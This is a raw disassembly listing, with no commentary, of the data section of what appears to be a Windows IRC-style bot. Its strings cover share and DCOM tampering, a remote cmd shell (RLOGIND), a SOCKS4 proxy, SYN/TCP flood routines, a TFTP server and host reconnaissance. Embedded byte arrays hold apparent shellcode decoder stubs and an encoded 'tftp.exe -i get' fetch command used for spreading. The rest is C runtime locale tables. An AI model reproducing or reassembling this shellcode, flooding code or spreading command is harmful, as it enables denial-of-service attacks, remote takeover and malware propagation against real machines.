'[SECURE]: Restricted access to the IPC$ Share.',0 ; DATA XREF: sub_413B31:loc_413C3Eo align 4 aSecureFailed_3 db '[SECURE]: Failed to open IPC$ Restriction registry key.',0 ; DATA XREF: sub_413B31:loc_413C5Co aSecureAdvapi32 db '[SECURE]: Advapi32.dll couldn',27h,'t be loaded.',0 ; DATA XREF: sub_413B31:loc_413C63o align 10h aSecureShareS_0 db '[SECURE]: Share ',27h,'%S',27h,' deleted.',0 ; DATA XREF: sub_413B31+25Bo align 10h aSecureFailed_5 db '[SECURE]: Failed to delete ',27h,'%S',27h,' share.',0 ; DATA XREF: sub_413B31:loc_413D93o align 4 aSecureShareSDe db '[SECURE]: Share ',27h,'%s',27h,' deleted.',0 ; DATA XREF: sub_413B31+1C8o align 4 aSecureFailed_4 db '[SECURE]: Failed to delete ',27h,'%s',27h,' share.',0 ; DATA XREF: sub_413B31:loc_413D00o align 10h aSecureNetworkS db '[SECURE]: Network shares deleted.',0 ; DATA XREF: sub_413B31+2CFo align 4 aSecureNetapi32 db '[SECURE]: Netapi32.dll couldn',27h,'t be loaded.',0 ; DATA XREF: sub_413B31+2E5o align 10h word_442060 dw 59h ; DATA XREF: sub_413E55+38r align 4 aEnabledcom_0 db 'EnableDCOM',0 ; DATA XREF: sub_413E55+54o align 10h aSecureEnableDc db '[SECURE]: Enable DCOM failed.',0 ; DATA XREF: sub_413E55+66o align 10h aSecureDcomEnab db '[SECURE]: DCOM enabled.',0 ; DATA XREF: sub_413E55:loc_413EC2o aSecureFailed_6 db '[SECURE]: Failed to open DCOM registry key.',0 ; DATA XREF: sub_413E55+91o aRestrictanon_0 db 'restrictanonymous',0 ; DATA XREF: sub_413E55+EDo align 4 aSecureFailed_7 db '[SECURE]: Failed to unrestrict access to the IPC$ Share.',0 ; DATA XREF: sub_413E55+102o align 4 aSecureUnrestri db '[SECURE]: Unrestricted access to the IPC$ Share.',0 ; DATA XREF: sub_413E55:loc_413F5Eo align 4 aSecureFailed_8 db '[SECURE]: Failed to open IPC$ restriction registry key.',0 ; DATA XREF: sub_413E55:loc_413F7Co aSecureAdvapi_0 db '[SECURE]: Advapi32.dll couldn',27h,'t be loaded.',0 ; DATA XREF: sub_413E55:loc_413F83o align 4 aSecureShareSAd db '[SECURE]: Share ',27h,'%s',27h,' added.',0 ; DATA XREF: sub_413E55+192o aSecureFailed_9 db '[SECURE]: Failed to add ',27h,'%s',27h,' share.',0 ; DATA XREF: sub_413E55:loc_413FEEo aC_0 db '%c$',0 ; DATA XREF: sub_413E55+216o aC_1 db '%c:\',0 ; DATA XREF: sub_413E55+227o align 4 aSecureShareS_1 db '[SECURE]: Share ',27h,'%s',27h,' added.',0 ; DATA XREF: sub_413E55+263o aSecureFaile_10 db '[SECURE]: Failed to add ',27h,'%s',27h,' share.',0 ; DATA XREF: sub_413E55:loc_4140BFo aSecureNetwor_0 db '[SECURE]: Network shares added.',0 ; DATA XREF: sub_413E55+2C0o aSecureNetapi_0 db '[SECURE]: Netapi32.dll couldn',27h,'t be loaded.',0 ; DATA XREF: sub_413E55+2D8o align 4 aRlogindFaile_2 db '[RLOGIND]: Failed to create ReadShell session thread, error: <%d>' ; DATA XREF: sub_41416C+59o db '.',0 align 4 aRlogindFaile_3 db '[RLOGIND]: Failed to create ReadShell session thread, error: <%d>' ; DATA XREF: sub_41416C+8Bo db '.',0 align 4 aRlogindWaitfor db '[RLOGIND]: WaitForMultipleObjects error: <%d>.',0 ; DATA XREF: sub_41416C+DEo align 4 aRlogindFaile_4 db '[RLOGIND]: Failed to create shell stdout pipe, error: <%d>.',0 ; DATA XREF: sub_4142BD+5Co aRlogindFaile_5 db '[RLOGIND]: Failed to create shell stdin pipe, error: <%d>.',0 ; DATA XREF: sub_4142BD+7Eo align 4 aRlogindFaile_6 db '[RLOGIND]: Failed to execute shell.',0 ; DATA XREF: sub_4142BD+AFo aCmdQ db 'cmd /q',0 ; DATA XREF: sub_4143B6+8Co align 10h aRlogindFaile_7 db '[RLOGIND]: Failed to execute shell, error: <%d>.',0 ; DATA XREF: sub_4143B6+C3o align 4 aRlogindSession db '[RLOGIND]: SessionReadShellThread exited, error: <%ld>.',0 ; DATA XREF: sub_41448F+A1o dword_44245C dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_4147FB+C4o db 66h, 0B9h word_44246A dw 0FFFFh ; DATA XREF: sub_4147FB+CCw db 80h, 73h, 0Eh byte_44246F db 0FFh ; DATA XREF: sub_4147FB+D3w dd 0F9E243h dword_442474 dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_4147FB+A2o db 0B1h byte_442481 db 0FFh ; DATA XREF: sub_4147FB+AAw dw 7380h db 0Ch byte_442485 db 0FFh ; DATA XREF: sub_4147FB+B0w dw 0E243h dd 0F9h dword_44248C dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_414684+57o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_4424F0 dd 12h ; DATA XREF: sub_414684+3Dw dd 70746674h, 6578652Eh, 20692D20h aGet_1 db ' get ',0 ; DATA XREF: sub_414684+79o aJ_0 db 'j',0 db 0E8h dword_442509 dd 17h ; DATA XREF: sub_414684+4Dw db 75h, 1, 0C3h db 0E8h dword_442511 dd 1 ; DATA XREF: sub_414684+45w byte_442515 db 0, 6Ah, 0 ; DATA XREF: sub_414684+C2o dd 7E8h db 0, 0Fh, 84h dword_44251F dd 0FFFFFFEDh ; DATA XREF: sub_414684+5Dw db 0C3h dd 505D5B58h, 3354EC83h, 8DFC8BC0h, 0D78B4048h, 44B0AAF3h dd 515257ABh, 6A286A51h, 55515101h, 83D6FF53h, 0C08554C4h dd 0C3h aSocks4Server_0 db '[SOCKS4]: Server started on: %s:%d.',0 ; DATA XREF: sub_414902+A8o aSocks4ClientCo db '[SOCKS4]: Client connection from IP: %s:%d, Server thread: %d.',0 ; DATA XREF: sub_414902+114o align 4 aSocks4Failed_0 db '[SOCKS4]: Failed to start client thread, error: <%d>.',0 ; DATA XREF: sub_414902+18Fo align 4 aSocks4Failed_1 db '[SOCKS4]: Failed to start server on Port %d.',0 ; DATA XREF: sub_414902+1B2o align 4 aSocks4Authenti db '[SOCKS4]: Authentication failed. Remote userid: %s != %s.',0 ; DATA XREF: sub_414B07+F2o align 4 aSocks4ErrorFai db '[SOCKS4]: Error: Failed to open socket(), returned: <%d>.',0 ; DATA XREF: sub_414B07+18Ao align 4 aSocks4ErrorF_0 db '[SOCKS4]: Error: Failed to connect to target, returned: <%d>.',0 ; DATA XREF: sub_414B07+1F9o align 4 aSynDoneWithFlo db '[SYN]: Done with flood (%iKB/sec).',0 ; DATA XREF: sub_414ECB+48o align 4 aSynSendErrorD_ db '[SYN]: Send error: <%d>.',0 ; DATA XREF: sub_414F67+27Do align 4 aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_415273+52o a95_0 db '95',0 ; DATA XREF: sub_415430+46o align 4 aNt_0 db 'NT',0 ; DATA XREF: sub_415430+5Ao align 4 a98_0 db '98',0 ; DATA XREF: sub_415430+6Co align 4 aMe_1 db 'ME',0 ; DATA XREF: sub_415430+7Eo align 10h a2k_0 db '2K',0 ; DATA XREF: sub_415430+98o align 4 aXp_0 db 'XP',0 ; DATA XREF: sub_415430+AAo align 4 a2003 db '2003',0 ; DATA XREF: sub_415430+BAo align 10h a???_0 db '???',0 ; DATA XREF: sub_415430:loc_4154F3o aSS_12 db '%s (%s)',0 ; DATA XREF: sub_415430+EBo word_44274C dw 3Fh ; DATA XREF: sub_415430:loc_415532r align 10h aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_415430:loc_415594o align 4 aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_415430+192o aHhMmSs_0 db 'HH:mm:ss',0 ; DATA XREF: sub_415430+1AEo align 10h aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:' ; DATA XREF: sub_415430+297o db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:' db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:' db ' %s. [Uptime]: %s.',0 align 4 aNotConnected db 'Not connected',0 ; DATA XREF: sub_4156E4+48o align 4 aDialUp db 'Dial-up',0 ; DATA XREF: sub_4156E4+5Bo aLan db 'LAN',0 ; DATA XREF: sub_4156E4:loc_415751o off_442874 dd offset loc_412F49+5 ; DATA XREF: sub_4156E4+77o off_442878 dd offset loc_412F49+5 ; DATA XREF: sub_4156E4+88o aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0 ; DATA XREF: sub_4156E4+AEo align 4 aTcpErrorSocket db '[TCP]: Error: socket() failed, returned: <%d>.',0 ; DATA XREF: sub_4157B0+70o align 4 aTcpErrorSetsoc db '[TCP]: Error: setsockopt() failed, returned: <%d>.',0 ; DATA XREF: sub_4157B0+EEo align 10h aTcpInvalidTarg db '[TCP]: Invalid target IP.',0 ; DATA XREF: sub_4157B0+15Fo align 4 aSyn_2 db 'syn',0 ; DATA XREF: sub_4157B0+2D2o aAck_0 db 'ack',0 ; DATA XREF: sub_4157B0+2F2o aRandom_2 db 'random',0 ; DATA XREF: sub_4157B0+312o align 4 aTcpErrorSendin db '[TCP]: Error sending packets to IP: %s. Packets sent: %d. Returne' ; DATA XREF: sub_4157B0+44Fo db 'd: <%d>.',0 align 4 aTcpDoneWithSFl db '[TCP]: Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/se' ; DATA XREF: sub_4157B0+4EBo db 'c (%dMB).',0 align 4 aOctet db 'octet',0 ; DATA XREF: sub_415CF4+Fo align 4 aTftpErrorSocke db '[TFTP]: Error: socket() failed, returned: <%d>.',0 ; DATA XREF: sub_415CF4+6Ao aRb_1 db 'rb',0 ; DATA XREF: sub_415CF4+12Eo align 10h aTftpFailedToOp db '[TFTP]: Failed to open file: %s.',0 ; DATA XREF: sub_415CF4+15Ao align 4 dword_442A44 dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh ; DATA XREF: sub_415CF4+399o aTftpFileNotFou db '[TFTP]: File not found: %s (%s).',0 ; DATA XREF: sub_415CF4+3B6o align 4 aTftpFileTran_1 db '[TFTP]: File transfer started to IP: %s (%s).',0 ; DATA XREF: sub_415CF4+33Eo align 4 aTftpFileTran_2 db '[TFTP]: File transfer complete to IP: %s (%s).',0 ; DATA XREF: sub_415CF4+47Fo align 4 dword_442ADC dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_415CF4+493o aThreadList db '-[Thread List]-',0 ; DATA XREF: sub_4162A8+10o aD_S_0 db '%d. %s',0 ; DATA XREF: sub_4162A8+46o align 10h aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_416479+35o aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_416479+51o asc_442B40 db '*/*',0 ; DATA XREF: sub_416544+3Bo aVisitInvalidUr db '[VISIT]: Invalid URL.',0 ; DATA XREF: sub_416544+1A0o align 4 aVisitCouldNotO db '[VISIT]: Could not open a connection.',0 ; DATA XREF: sub_416544:loc_4166F6o align 4 aVisitFailedToC db '[VISIT]: Failed to connect to HTTP server.',0 ; DATA XREF: sub_416544:loc_4166FDo align 10h aVisitUrlVisite db '[VISIT]: URL visited.',0 ; DATA XREF: sub_416544+18Co align 4 aVisitFailedToG db '[VISIT]: Failed to get requested URL from HTTP server.',0 ; DATA XREF: sub_416544:loc_4166D7o align 10h dword_442C00 dd 1 ; DATA XREF: sub_416B00+10r ; sub_416B00+F2r ... dword_442C04 dd 24h ; DATA XREF: sub_416B00:loc_416B4Cr ; sub_416B00:loc_416CB5r ... dword_442C08 dd 0FFFFFFFFh ; DATA XREF: sub_416B00+58r ; sub_416F00+9Er ... byte_442C0C db 0FDh ; DATA XREF: sub_416B00+2B7r ; sub_416B00+2D1r ... byte_442C0D db 0DDh ; DATA XREF: sub_4174F0+257r ; sub_4174F0+39Br ... byte_442C0E db 0CDh ; DATA XREF: sub_416B00+2F1r ; sub_416F00+377r align 10h off_442C10 dd offset aFree ; DATA XREF: sub_4174F0+177r ; sub_4174F0+1DDr ... ; "Free" dd offset aNormal_0 ; "Normal" dd offset aCrt ; "CRT" dd offset aIgnore ; "Ignore" dd offset aClient ; "Client" align 10h dd 9875h, 9873h off_442C38 dd offset sub_41A330 ; DATA XREF: sub_41B2D0+3r ; sub_41B2D0+Cr dd offset sub_41A360 dd offset sub_41A360 align 10h off_442C50 dd offset sub_41B330 ; DATA XREF: sub_41BAE0+22r dword_442C54 dd 2 ; DATA XREF: sub_426060+15r ; sub_4260B0+86r ... dword_442C58 dd 0 ; DATA XREF: sub_41BBF0+1Fr ; sub_41BBF0+44r ... off_442C5C dd offset dword_4920F0 ; DATA XREF: sub_41BBB0+29r ; sub_41BBF0+8Fr dd 7 dup(0) off_442C7C dd offset dword_492120 ; DATA XREF: sub_41BBB0+1Cr ; sub_41BBF0:loc_41BC59r dd 3 dup(0) off_442C8C dd offset dword_492138 ; DATA XREF: sub_41BBB0+Fr ; sub_41BBF0+75r dd 3 dup(0) off_442C9C dd offset dword_492108 ; DATA XREF: sub_41BBB0+3r ; sub_41BBF0+82r dd 7 dup(0) dd 950B40h, 16h dup(0) off_442D18 dd offset sub_41BE60 ; DATA XREF: sub_416B00+79r ; sub_416F00+C1r ... dword_442D1C dd 0FFFFFFFFh ; DATA XREF: sub_41BF80+80o ; sub_41BF80+108o ... dword_442D20 dd 2 ; DATA XREF: .text:0041BE9Er ; .text:0041BEB9r ... dd 2 dup(4) dword_442D2C dd 0FFFFFFFFh ; DATA XREF: .text:0041BF00r ; .text:0041BF0Cr ... dd 2 dup(0FFFFFFFFh) off_442D38 dd offset aWarning ; DATA XREF: sub_41C310+284r ; "Warning" dd offset aError ; "Error" dd offset aAssertionFai_1 ; "Assertion Failed" dd 10h dword_442D48 dd 3F8h ; DATA XREF: sub_41BDF0+7r ; sub_41C620+3Cr ... off_442D4C dd offset word_442D56 ; DATA XREF: sub_418730+7Cr ; sub_4194F0+2Dr ... off_442D50 dd offset word_442D56 ; DATA XREF: sub_42A890+2A4w ; sub_42A890+35Bw ... db 2 dup(0) word_442D56 dw 20h ; DATA XREF: sub_42A890:loc_42ABE1o ; sub_42A890+35Bo ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_442F58 dd 1 ; DATA XREF: sub_418730+4Er ; sub_4194F0:loc_4194F6r ... byte_442F5C db 2Eh ; DATA XREF: sub_41FBE0:loc_420A67r ; sub_41FBE0+ED2r ... align 10h dword_442F60 dd 1 ; DATA XREF: sub_42A100+169w ; sub_42A100+296w off_442F64 dd offset aNull ; DATA XREF: sub_41EA90:loc_41EED2r ; sub_41EA90+57Cr ; "(null)" off_442F68 dd offset aNull_0 ; DATA XREF: sub_41EA90+514r ; "(null)" dword_442F6C dd 2 ; DATA XREF: sub_41F930+Fw ; sub_41F930+14r ... asc_442F70 db ' ',9,'-',0Dh,']',0 ; DATA XREF: sub_41FBE0:loc_420002o align 4 asc_442F78: ; DATA XREF: sub_41FBE0:loc_41FFDDo unicode 0, <]>,0 align 10h off_442F80 dd offset dword_492760 ; DATA XREF: sub_4210E0+B3o ; sub_421230+3o ... align 8 dd offset dword_492760 dd 101h dword_442F90 dd 0FFFFFFFFh ; DATA XREF: sub_4210E0+11Cw dd 0 dd 1000h, 0 dword_442FA0 dd 3 dup(0) ; DATA XREF: sub_41E810+111o ; sub_423FC0:loc_424013o dd 2, 0FFFFFFFFh, 3 dup(0) dword_442FC0 dd 3 dup(0) ; DATA XREF: sub_41E810+11Ao ; sub_423FC0:loc_424025o dd 2, 0FFFFFFFFh, 83h dup(0) dword_4431E0 dd 8 dup(0) ; DATA XREF: sub_421230+Co ; sub_4212A0+Co off_443200 dd offset sub_422DF0 ; DATA XREF: sub_41A370+3w ; sub_41EA90+6ADr off_443204 dd offset sub_422800 ; DATA XREF: sub_41A370+Dw ; sub_41EA90+6F1r off_443208 dd offset sub_422910 ; DATA XREF: sub_41A370+17w ; sub_41FBE0+1138r off_44320C dd offset sub_422750 ; DATA XREF: sub_41A370+21w ; sub_41EA90+6CFr off_443210 dd offset sub_4228E0 ; DATA XREF: sub_41A370+2Bw off_443214 dd offset sub_422DF0 ; DATA XREF: sub_41A370+35w dword_443218 dd 1 ; DATA XREF: sub_422E80+2Cr dword_44321C dd 16h ; DATA XREF: sub_422E80+3Dr dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_443380 dd 43h ; DATA XREF: sub_423690:loc_4237FCo ; .data:004434A0o ... dword_443384 dd 43h, 20h dup(0) ; DATA XREF: sub_423930+8Do ; sub_423930+117o ... dword_443408 dd 43h, 21h dup(0) ; DATA XREF: sub_423930+74o ; sub_423930+FCo ... off_443490 dd offset aLc_all ; DATA XREF: .text:0042341Fr ; .text:00423438r ... ; "LC_ALL" dword_443494 dd 0 ; DATA XREF: .text:00423317r ; .text:004235C0r ... off_443498 dd offset sub_423AC0 ; DATA XREF: sub_423690+12Br dd offset aLc_collate ; "LC_COLLATE" dd offset dword_443380 dd offset sub_42AC30 dd offset dword_433020+38h off_4434AC dd offset dword_443380 ; DATA XREF: sub_423830+F0r dd offset sub_42A890 dd offset dword_433020+2Ch dd offset dword_443380 dd offset sub_42A430 dd offset dword_433020+20h dd offset dword_443380 dd offset sub_42A100 dd offset dword_433020+18h dd offset dword_443380 dd offset sub_429780 byte_4434D8 db 1 ; DATA XREF: sub_4241C0+12Fr db 2, 4, 8 align 10h dword_4434E0 dd 3A4h ; DATA XREF: sub_4241C0+7Er word_4434E4 dw 8260h ; DATA XREF: sub_4241C0+192r dw 8279h dd 21h, 0 dword_4434F0 dd 0DFA6h ; DATA XREF: sub_4241C0+D5r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_4435D0 dd 0C0000005h, 0Bh, 0 ; DATA XREF: sub_41F9F0+6o ; .text:0041FB7Eo ... dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 dd 0C000008Dh, 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 dd 0C0000090h, 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_443648 dd 3 ; DATA XREF: sub_424F60+98r ; sub_424F60:loc_42500Br ... dword_44364C dd 7 ; DATA XREF: sub_424F60+B1r ; sub_426880+17Dr dword_443650 dd 78h ; DATA XREF: .text:004266F8r ; .text:00426716r dword_443654 dd 0Ah ; DATA XREF: sub_425120+1Dr ; sub_425120:loc_425152r ... dword_443658 dd 0FFFFFFFFh, 0A00h, 7 dup(0) ; DATA XREF: sub_41E810:loc_41EA09o ; sub_421790:loc_4218E6o dword_44367C dd 19930520h, 4 dup(0) ; DATA XREF: .text:00425F5Bo ; sub_425F62+2o dword_443690 dd 2 ; DATA XREF: sub_4260B0+2Ar ; sub_4260B0+3Dr ... off_443694 dd offset aR6002FloatingP ; DATA XREF: sub_4260B0+56r ; sub_4260B0+98r ... ; "R6002\r\n- floating point not loaded\r\n" dd 8, 43332Ch, 9, 433300h, 0Ah, 4332DCh, 10h, 4332B0h dd 11h, 433280h, 12h, 43325Ch, 13h, 433230h, 18h, 4331F8h dd 19h, 4331D0h, 1Ah, 433198h, 1Bh, 433160h, 1Ch, 433138h dd 78h, 433128h, 79h, 433118h, 7Ah, 433108h, 0FCh, 433104h dd 0FFh, 4330F4h dword_443720 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_4292C0+3o dword_443738 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_4292E0+3o dword_443750 dd 40Ah ; DATA XREF: sub_42B7E0+3Er ; sub_42B7E0+147r a040a db '040a',0 ; DATA XREF: sub_42B7E0+9Ao align 4 off_44375C dd offset aSpanishTraditi ; DATA XREF: sub_42B7E0+ABr ; "Spanish - Traditional Sort" dword_443760 dd 505345h ; DATA XREF: sub_42B7E0+BCo off_443764 dd offset aSpain ; DATA XREF: sub_42B7E0+CDr ; "Spain" dword_443768 dd 505345h ; DATA XREF: sub_42B7E0+DEo dword_44376C dd 303538h, 0 ; DATA XREF: sub_42B7E0+EFo a1252 db '1252',0 ; DATA XREF: sub_42B7E0+100o align 4 dd 40Bh, 62303430h, 0 dd offset aFinnish ; "Finnish" dd 4E4946h, 4335D4h, 4E4946h, 303538h, 0 a1252_0 db '1252',0 align 4 dd 40Ch, 63303430h, 0 dd offset aFrench ; "French" dd offset loc_415243+3 dd offset aFrance ; "France" dd offset loc_415243+3 dd 303538h, 0 a1252_1 db '1252',0 align 4 dd 40Fh, 66303430h, 0 dd offset aIcelandic ; "Icelandic" dd 4C5349h, 4335B0h, 4C5349h, 303538h, 0 a1252_2 db '1252',0 align 10h dd 41Dh, 64313430h, 0 dd offset aSwedish ; "Swedish" dd offset byte_455653 dd offset aSweden ; "Sweden" dd offset byte_455753 dd 303538h, 0 a1252_3 db '1252',0 align 4 dd 42Dh, 64323430h, 0 dd offset aBasque ; "Basque" dd 515545h, 4335E4h, 505345h, 303538h, 0 a1252_4 db '1252',0 align 4 db 0Ah db 8,0 align 4 a080a db '080a',0 align 4 dd offset aSpanish ; "Spanish" dd 4D5345h, 433588h, 58454Dh, 303538h, 0 a1252_5 db '1252',0 align 4 dd 80Ch, 63303830h, 0 dd offset aFrench ; "French" dd offset loc_425246 dd offset aBelgium ; "Belgium" dd 4C4542h, 303538h, 0 a1252_6 db '1252',0 align 10h dd 0C07h, 37306330h, 0 dd offset aGerman ; "German" dd offset loc_414544 dd offset aAustria ; "Austria" dd 545541h, 303538h, 0 a1252_7 db '1252',0 align 4 dd 0C09h, 39306330h, 0 dd offset aEnglish ; "English" dd offset loc_414E40+5 dd offset aAustralia ; "Australia" dd 535541h, 303538h, 0 a1252_8 db '1252',0 align 4 dd 0C0Ah, 61306330h, 0 dd offset aSpanishModernS ; "Spanish - Modern Sort" dd 4E5345h, 4335E4h, 505345h, 303538h, 0 a1252_9 db '1252',0 align 4 dd 0C0Ch, 63306330h, 0 dd offset aFrench ; "French" dd offset dword_435230+16h dd offset aCanada ; "Canada" dd 4E4143h, 303538h, 0 a1252_10 db '1252',0 align 10h dd 100Ah, 61303031h, 0 dd offset aSpanish ; "Spanish" dd offset byte_475345 dd offset aGuatemala ; "Guatemala" dd 4D5447h, 303538h, 0 a1252_11 db '1252',0 align 4 dd 100Ch, 63303031h, 0 dd offset aFrench ; "French" dd 535246h, 433524h, 454843h, 303538h, 0 a1252_12 db '1252',0 align 4 dd 140Ah, 61303431h, 0 dd offset aSpanish ; "Spanish" dd offset dword_43533C+9 dd offset aCostaRica ; "Costa Rica" dd offset byte_495243 dd 303538h, 0 a1252_13 db '1252',0 align 4 dd 140Ch, 63303431h, 0 dd offset aFrench ; "French" dd 4C5246h, 43350Ch, 58554Ch, 303538h, 0 a1252_14 db '1252',0 align 10h dd 180Ah, 61303831h, 0 dd offset aSpanish ; "Spanish" dd offset loc_415345 dd offset aPanama ; "Panama" dd 4E4150h, 303538h, 0 a1252_15 db '1252',0 align 4 dd 1C09h, 39306331h, 0 dd offset aEnglish ; "English" dd 534E45h, 4334F4h, 46415Ah, 373334h, 0 a1252_16 db '1252',0 align 4 dd 1C0Ah, 61306331h, 0 dd offset aSpanish ; "Spanish" dd offset byte_445345 dd offset aDominicanRepub ; "Dominican Republic" dd 4D4F44h, 303538h, 0 a1252_17 db '1252',0 align 4 db 0Ah db ' ',0 align 4 a200a db '200a',0 align 10h dd offset aSpanish ; "Spanish" dd 565345h, 4334D4h, 4E4556h, 303538h, 0 a1252_18 db '1252',0 align 10h db 0Ah db '$',0 align 4 a240a db '240a',0 align 4 dd offset aSpanish ; "Spanish" dd 4F5345h, 4334C8h, 4C4F43h, 303538h, 0 a1252_19 db '1252',0 align 4 db 0Ah db '(',0 align 10h a280a db '280a',0 align 4 dd offset aSpanish ; "Spanish" dd 525345h, 4334C0h, 524550h, 303538h, 0 a1252_20 db '1252',0 align 4 db 0Ah db ',',0 align 4 a2c0a db '2c0a',0 align 4 dd offset aSpanish ; "Spanish" dd 535345h, 4334B4h, 475241h, 303538h, 0 a1252_21 db '1252',0 align 4 a0 db 0Ah db '0',0 align 4 a300a db '300a',0 align 10h dd offset aSpanish ; "Spanish" dd offset byte_465345 dd offset aEcuador ; "Ecuador" dd 554345h, 303538h, 0 a1252_22 db '1252',0 align 10h a4 db 0Ah db '4',0 align 4 a340a db '340a',0 align 4 dd offset aSpanish ; "Spanish" dd 4C5345h, 4334A4h, 4C4843h, 303538h, 0 a1252_23 db '1252',0 align 4 a8 db 0Ah db '8',0 align 10h a380a db '380a',0 align 4 dd offset aSpanish ; "Spanish" dd 595345h, 43349Ch, 595255h, 303538h, 0 a1252_24 db '1252',0 align 4 db 0Ah db '<',0 align 4 a3c0a db '3c0a',0 align 4 dd offset aSpanish ; "Spanish" dd 5A5345h, 433490h, 595250h, 303538h, 0 a1252_25 db '1252',0 align 4 word_443BF4 dw 0C0Ch ; DATA XREF: sub_42B6B0+34r dw 0C1Ah dd 4361007h, 42D080Ch, 100C0403h, 81D0810h off_443C08 dd offset aAmerica ; DATA XREF: sub_42ACC0+9Co ; "america" dd offset loc_415354+1 dd offset aBritain ; "britain" dd 524247h, 4336E4h, 4E4843h, 4336DCh, 455A43h, 4336D4h dd 524247h, 4336C4h, 524247h, 4336BCh, 444C4Eh, 4336B0h dd 474B48h, 4336A4h, 4C5A4Eh, 4336A0h, 4C5A4Eh, 433694h dd 4E4843h, 433688h, 4E4843h, 43367Ch, 495250h, 433674h dd 4B5653h, 433664h, 46415Ah, 433658h, 524F4Bh, 433648h dd 46415Ah, 43363Ch, 524F4Bh, 433628h, 4F5454h, 433704h dd 524247h, 433618h, 524247h, 433608h, 415355h, 433700h dd 415355h off_443CC0 dd offset aAmerican ; DATA XREF: sub_42ACC0+67o ; "american" dd 554E45h, 433AF0h, 554E45h, 433ADCh, 554E45h, 433AD0h dd 414E45h, 433AC8h, 424C4Eh, 433ABCh, 434E45h, 433AB8h dd 48485Ah, 433AB4h, 49485Ah, 433AACh, 534843h, 433A98h dd 48485Ah, 433A84h, 534843h, 433A70h, 49485Ah, 433A5Ch dd 544843h, 433A4Ch, 424C4Eh, 433A38h, 554E45h, 433A2Ch dd 414E45h, 433A1Ch, 4C4E45h, 433A10h, 434E45h, 4339FCh dd 424E45h, 4339F0h, 494E45h, 4339E0h, 4A4E45h, 4339D4h dd 5A4E45h, 4339BCh, 534E45h, 4339A0h, 544E45h, 433994h dd 474E45h, 433988h, 554E45h, 43397Ch, 554E45h, 43396Ch dd 425246h, 43395Ch, 435246h, 433948h, 4C5246h, 433938h dd 535246h, 433928h, 414544h, 433914h, 434544h, 433900h dd 4C4544h, 4338F0h, 534544h, 4338E0h, 494E45h, 4338D0h dd 535449h, 4338C4h, 524F4Eh, 4338B0h, 524F4Eh, 43389Ch dd 4E4F4Eh, 433884h, 425450h, 433870h, 535345h, 433860h dd 425345h, 433850h, 4C5345h, 43383Ch, 4F5345h, 433828h dd 435345h, 43380Ch, 445345h, 4337FCh, 465345h, 4337E8h dd 455345h, 4337D4h, 475345h, 4337C0h, 485345h, 4337B0h dd 4D5345h, 4337A0h, 4E5345h, 43378Ch, 495345h, 43377Ch dd 415345h, 433768h, 5A5345h, 433758h, 525345h, 433744h dd 555345h, 433734h, 595345h, 433720h, 565345h, 433710h dd 465653h, 433708h, 534544h, 433704h, 474E45h, 433700h dd 554E45h, 4336FCh, 554E45h dword_443EC8 dd 7080h ; DATA XREF: sub_423ED0+92r ; sub_42BAC0+80w ... dword_443ECC dd 1 ; DATA XREF: sub_423ED0+C2r ; sub_42BAC0+BFw 